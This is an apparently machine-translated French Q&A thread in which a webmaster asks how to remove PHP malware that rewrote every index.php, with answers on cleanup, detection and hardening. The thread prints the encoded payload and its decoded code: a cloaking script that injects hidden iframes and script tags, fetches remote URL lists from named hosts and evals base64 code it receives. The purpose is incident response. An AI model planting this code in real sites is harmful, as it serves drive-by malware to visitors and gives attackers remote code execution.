Comment se débarrasser de eval-base64 décoder comme les fichiers de virus PHP?
mon site (très grand site communautaire) a été récemment infecté par un virus. Chaque fichier index.php
a été modifié de sorte que la balise php d'ouverture de ces fichiers a été changée à la ligne suivante:
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));
quand j'ai décodé ceci, il a produit le code PHP suivant:
<?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}
j'ai essayé plusieurs choses pour nettoyer le virus même la restauration à partir d'une sauvegarde et les fichiers sont réinfectés après quelques minutes ou heures. Si vous le pouvez veuillez m'aider?
Que savez-vous de ce virus?
y a-t-il un trou de sécurité connu qu'il utilise pour installer et propager?
Que fait réellement le code php ci-dessus?
Que la page qu'il intègre dans l'iframe?
Et bien sûr le plus important: Que puis-je faire pour m'en débarrasser?
s'il vous Plaît aider, nous avons été presque à court d'idées et d'espoir :(
UPDATE1 Quelques détails supplémentaires: une chose étrange est: quand nous avons vérifié les premiers fichiers infectés. Ils ont été changés mais leur temps modifié dans le programme ftp montrait que le dernier accès était il y a des jours, des mois ou même des années dans certains cas! Comment est-ce même possible? Ça me rend fou!
UPDATE 2 Je pense que le problème initié après qu'un utilisateur ait installé un plugin dans son Wordpress installation. Après avoir restauré à partir de la sauvegarde et complètement supprimer le dossier Wordpress et la db associée, le problème semble disparu. Nous avons actuellement souscrit à un service de sécurité et ils enquêtent sur la question juste pour être sûr que le piratage est parti pour de bon. Merci pour toute personne qui a répondu.
7 réponses
Étapes pour récupérer et désinfecter votre site (à condition d'avoir une bonne sauvegarde connue).
1) fermeture du Site
vous devez essentiellement fermer la porte de votre site avant de faire vos travaux d'assainissement. Cela empêchera les visiteurs de recevoir du code malveillant, de voir des messages d'erreur, etc. Juste de la bonne pratique.
vous devriez pouvoir le faire en mettant ce qui suit dans votre .htaccess fichier dans le webroot. (Remplacez "!!Votre adresse IP ici!!"avec votre propre adresse IP-voir http://icanhazip.com si vous ne connaissez pas votre adresse IP.)
order deny,allow
deny from all
allow from !!Your IP Address Here!!
2) Téléchargez une copie de tous vos fichiers à partir du serveur
téléchargez tout dans un dossier séparé de vos bonnes sauvegardes. Cela peut prendre un certain temps (en fonction de la taille du site, de la vitesse de connexion, etc.).
3) Télécharger et installer un fichier / dossier Utilitaire De Comparaison
sur une machine Windows, vous pouvez utiliser WinMerge - http://winmerge.org / - c'est gratuit et assez puissant. Sur une machine MacOS, consultez la liste des alternats possibles de L'Alternative .à
4 )Exécuter L'utilitaire de comparaison de fichiers / dossiers
, vous devriez Vous retrouver avec quelques-uns des résultats différents:
- les fichiers sont identiques-le le fichier courant est le même que votre sauvegarde, et n'est donc pas affecté.
- fichier à gauche / à droite seulement - ce fichier n'existe que dans la sauvegarde (et peut avoir été supprimé du serveur), ou n'existe que sur le serveur (et peut avoir été injecté/créé par le pirate).
- Fichier est Différent, Le fichier sur le serveur n'est pas la même que celle de la sauvegarde, donc il peut avoir été modifié par vous (à configurer pour le serveur) ou par le hacker (à injecter du code).
5) résoudre les différends
(A. K."pourquoi on ne peut pas s'entendre?")
pour les fichiers identiques , aucune autre action n'est requise. Pour les fichiers qui N'existent que sur un seul côté, , regardez le fichier et déterminez s'ils sont légitimes (c'est-à-dire les téléchargements par les utilisateurs qui devraient être là, les fichiers supplémentaires que vous avez peut-être ajoutés)., etc.) Pour les fichiers qui sont différents , regardez le fichier (L'utilitaire de différence de fichier peut même vous montrer quelles lignes ont été ajoutées/modifiées/supprimées) et voyez si la version du serveur est valide. Écraser (avec la version sauvegardée) tous les fichiers qui contiennent du code malveillant.
6) revoir vos mesures de sécurité
que ce soit aussi simple que de changer vos mots de passe FTP/cPanel, ou de revoir votre utilisation de l'extérieur / incontrôlée ressources (comme vous le mentionnez vous effectuez beaucoup de fgets, ouvre, etc. vous pouvez vérifier les paramètres passés à eux que c'est une façon de faire des scripts de tirer dans le code malveillant), etc.
7) vérifier les travaux du Site
profiter de l'occasion d'être la seule personne qui consulte le site pour vous assurer que tout fonctionne comme prévu, après les fichiers infectés sont corrigées et les fichiers malveillants ont été supprimés.
8) ouvrir les portes
inverser les modifications apportées au .htaccess fichier de L'Étape 1. Regarder attentivement. Gardez un oeil sur votre visiteur et les journaux d'erreurs pour voir si quelqu'un essaie de déclencher les fichiers malveillants supprimés, etc
9 )Envisager Des Méthodes De Détection Automatisées
il y a quelques solutions, vous permettant de faire effectuer un contrôle automatisé sur votre hôte (en utilisant un travail CRON) qui détectera et précisez tout changement qui se produit. Certains sont un peu verbeux (vous recevrez un e-mail pour chaque fichier modifié), mais vous devriez être capable de les adapter à vos besoins:
- Tripwire - un script PHP pour détecter et signaler les nouveaux, supprimé ou modifié les fichiers
- script Shell pour surveiller les modifications du fichier
- comment détecter si votre serveur web est piraté et obtenir alerté
10 )ont des sauvegardes programmées et conservent un bon support
assurez-vous que vous avez prévu des sauvegardes effectuées sur votre site web, gardez-en quelques-unes, de sorte que vous avez différentes étapes que vous pouvez remonter le temps, si nécessaire. Par exemple, si vous effectuez des sauvegardes hebdomadaires, vous pourriez vouloir garder ce qui suit:
- 4 x sauvegardes hebdomadaires
- 4 x sauvegardes mensuelles (vous conserver l'un des Sauvegardes Hebdomadaires, voire la première semaine du mois, comme la Sauvegarde Mensuelle)
ceux-ci rendront toujours la vie plus facile si quelqu'un attaque votre site avec quelque chose d'un peu plus destructeur qu'une attaque par injection de code.
Oh, et vous assurer de sauvegarder vos bases de données aussi - avec beaucoup de sites étant basé sur CMSes, avoir les fichiers est agréable, mais si vous perdez / corrompre la base de données derrière eux, bien, les sauvegardes sont essentiellement inutile.
d'abord, fermez votre site jusqu'à ce que vous trouviez comment il est entré et comment le réparer. On dirait qu'il sert des logiciels malveillants à vos clients.
ensuite, cherchez dans vos fichiers php fgets, fopen, fputs, eval, ou system. Je recommande notepad++ à cause de sa fonction" Find in Files". Aussi, assurez-vous que c'est le seul endroit où votre PHP a été modifié. Avez-vous une copie hors connexion à comparer?
j'ai souffert du même piratage. J'ai été capable de décrypter le code aussi bien, et tandis que j'ai obtenu le code php différent, j'ai commencé par enlever le texte php injecté en faisant une boucle à travers chaque fichier php dans le site et en enlevant l'appel eval. Je suis toujours en train d'enquêter sur la façon dont je l'ai obtenu pour commencer, mais voici à quoi ressemble le mien après avoir décrypté à partir de ce site web:
pour décoder le script php crypté sur chaque fichier php utilisez ceci: http://www.opinionatedgeek.com/dotnet/tools/base64decode /
et le formatage du résultat en utilisant ce type: http://beta.phpformatter.com /
pour nettoyer, vous devez supprimer la ligne" eval " du haut de chaque fichier php, et supprimer le .journal des dossiers à partir du dossier de base du site.
j'ai trouvé un script python que j'ai légèrement modifié pour supprimer le cheval de Troie dans les fichiers php donc je vais le poster ici à utiliser pour les autres: code source from thread: remplacer toutes les instances d'un caractère par un autre dans tous les fichiers hiérarchiquement dans l'arborescence des répertoires
import os
import re
import sys
def try_to_replace(fname):
if replace_extensions:
return fname.lower().endswith(".php")
return True
def file_replace(fname, pat, s_after):
# first, see if the pattern is even in the file.
with open(fname) as f:
if not any(re.search(pat, line) for line in f):
return # pattern does not occur in file so we are done.
# pattern is in the file, so perform replace operation.
with open(fname) as f:
out_fname = fname + ".tmp"
out = open(out_fname, "w")
for line in f:
out.write(re.sub(pat, s_after, line))
out.close()
os.rename(out_fname, fname)
def mass_replace(dir_name, s_before, s_after):
pat = re.compile(s_before)
for dirpath, dirnames, filenames in os.walk(dir_name):
for fname in filenames:
if try_to_replace(fname):
print "cleaning: " + fname
fullname = os.path.join(dirpath, fname)
file_replace(fullname, pat, s_after)
if len(sys.argv) != 2:
u = "Usage: rescue.py <dir_name>\n"
sys.stderr.write(u)
sys.exit(1)
mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")
pour utiliser le type
python rescue.py rootfolder
C'est ce que le script malveillant essayait de faire:
<?php
if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists('mrobh')) {
function get_tds_777($url)
{
$content = "";
$content = @trycurl_777($url);
if ($content !== false)
return $content;
$content = @tryfile_777($url);
if ($content !== false)
return $content;
$content = @tryfopen_777($url);
if ($content !== false)
return $content;
$content = @tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = @trysocket_777($url);
if ($content !== false)
return $content;
return '';
}
function trycurl_777($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777($url)
{
if (function_exists('file') === false)
return false;
$inc = @file($url);
$buf = @implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = @fopen($url, 'r');
if ($f) {
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function trysocket_777($url)
{
if (function_exists('socket_create') === false)
return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $ip1, 80)) {
@socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
@socket_close($sock);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function update_tds_file_777($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = @fopen($tdsfile, "w");
if ($f) {
@fwrite($f, $val);
@fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777()
{
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir . "log1.txt";
if (@file_exists($tdsfile)) {
$mtime = @filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = @file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = @explode("\n", $content);
$c = @count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (!@is_dir($rz)) {
@mkdir($rz);
if (@is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (!@is_dir($rz)) {
@mkdir($rz);
if (@is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = base64_decode('http://ens122zzzddazz.com/');
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
$_SERVER['s_a2'] = base64_decode('http://nlinthewood.com/g_load.php') . $d;
$_SERVER['s_script'] = "nl.php?p=d";
}
setup_globals_777();
if (!function_exists('gml_777')) {
function gml_777()
{
$r_string_777 = '';
if ($_SERVER['s_b1'] == 0)
$r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
return $r_string_777;
}
}
if (!function_exists('gzdecodeit')) {
function gzdecodeit($decode)
{
$t = @ord(@substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = @unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = @gzinflate(@substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh($content)
{
@Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
ob_start('mrobh');
}
}
?>
pour se débarrasser de ces PHP malveillants, vous avez simplement besoin de les supprimer. Si le fichier est infecté, vous devez supprimer seulement la partie qui semble suspect.
c'est toujours délicat de trouver ces fichiers, parce que d'habitude il y en a plusieurs dans votre racine web.
habituellement, si vous voyez une sorte d'obscurcissement, c'est une alerte rouge pour vous.
la plupart des malwares sont faciles à trouver sur la base des fonctions communes qu'ils utilisation, cela comprend:
-
base64_decode
, -
lzw_decompress
, -
eval
, - et ainsi de suite
en utilisant le format d'encodage, ils compactent leur taille et les rendent plus difficiles à décoder par les utilisateurs non expérimentés.
voici quelques commandes grep
qui peuvent trouver le code PHP malware le plus commun:
grep -R return.*base64_decode .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .
vous pouvez exécuter ces commandes sur le serveur ou une fois que vous avez synchronisé votre site web sur votre machine locale (via FTP par exemple ncftpget -R
).
ou utiliser des outils de balayage qui sont spécialement conçus pour trouver ce genre de fichiers malveillants, voir: scanners de sécurité PHP .
pour des raisons d'éducation, s'il vous plaît trouver la collection suivante de scripts D'exploitation de PHP, trouvé lors de l'enquête sur les serveurs piratés disponibles à kenorb/php-exploiter-scripts GitHub (influencé par @Mattias collection originale ). Cela vous permettra de comprendre à quoi ressemblent ces fichiers suspects PHP, de sorte que vous pouvez apprendre à en trouver d'autres sur votre serveur.
voir aussi: Que fait ce script PHP malveillant?
-
S'assurer que toutes les applications Web populaires comme Wordpress ou vBulletin sont mis à jour. Il y a de nombreux exploits avec les anciennes versions qui peuvent conduire à la compromission de votre serveur et cela se reproduira probablement s'ils ne sont pas mis à jour. Inutile de continuer tant que ce n'est pas fait.
-
si les fichiers sont remplacés, il y a un rootkit ou un troyen en arrière-plan. Ce fichier ne peut pas se reproduire. Vous il faudra d'abord se débarrasser du rootkit. Essayez rkhunter , chkrootkit , et LMD . Comparez la sortie de
ps aux
à un serveur sécurisé et cochez/var/tmp
et/tmp
pour les fichiers suspects. Vous pourriez avoir à réinstaller le système d'exploitation. -
S'assurer que tous les postes de travail qui administrent le serveur sont à jour et propres. Ne vous connectez pas via des connexions sans fil non sécurisées ou utilisez l'authentification en texte clair comme avec FTP (utilisez SFTP à la place). Ne vous connectez qu'aux panneaux de contrôle avec https.
-
pour éviter que cela ne se reproduise, Lancez csf ou pare-feu comparable, tous les jours LMD et restez à jour avec les derniers correctifs de sécurité pour toutes les applications sur le serveur.
mes sites web / ou sites Web que j'héberge ont été attaqués plusieurs fois avec des attaques similaires.
je présente ce que j'ai fait pour résoudre le problème. Je ne prétends pas que c'est la meilleure / la plus facile approche, mais cela fonctionne et depuis lors je peux garder la balle de façon proactive dans mon domaine.
-
résolvez la question dès que possible J'ai créé un script PHP très simple (il a été écrit quand le fer à repasser était chaud donc peut-être que ce n'est pas le code le plus optimisé mais il résout le problème assez vite): http://www.ecommy.com/web-security/clean-php-files-from-eval-infection
-
assurez-vous de savoir quand quelque chose comme ceci frappe à nouveau. Les pirates utilisent toutes sortes d'aproaches de L'injection SQL d'un de vos modules externes que vous installez pour forcer votre panneau d'administration avec des attaques de dictionnaire ou des modèles de mot de passe très bien connus comme 1qaz... qwerty.... etc... Je présente les scripts ici.: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections
-
l'entrée cron serait quelque chose comme: 0 2 * * 5 /root / scripts/base64eval_scan > / dev / null 2>&1&
j'ai mis à jour les pages afin que quelqu'un puisse télécharger directement les fichiers. J'espère qu'il vous sera utile comme il est pour moi:)
en supposant qu'il S'agisse D'un serveur Linux et que vous avez un accès SSH, vous pouvez exécuter ceci pour supprimer le code incriminé:
find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'
cela couvre toutes les implémentations base64 connues, et fonctionne que le texte base64 soit entouré de guillemets simples ou doubles
EDIT: fonctionne maintenant avec des espaces internes aussi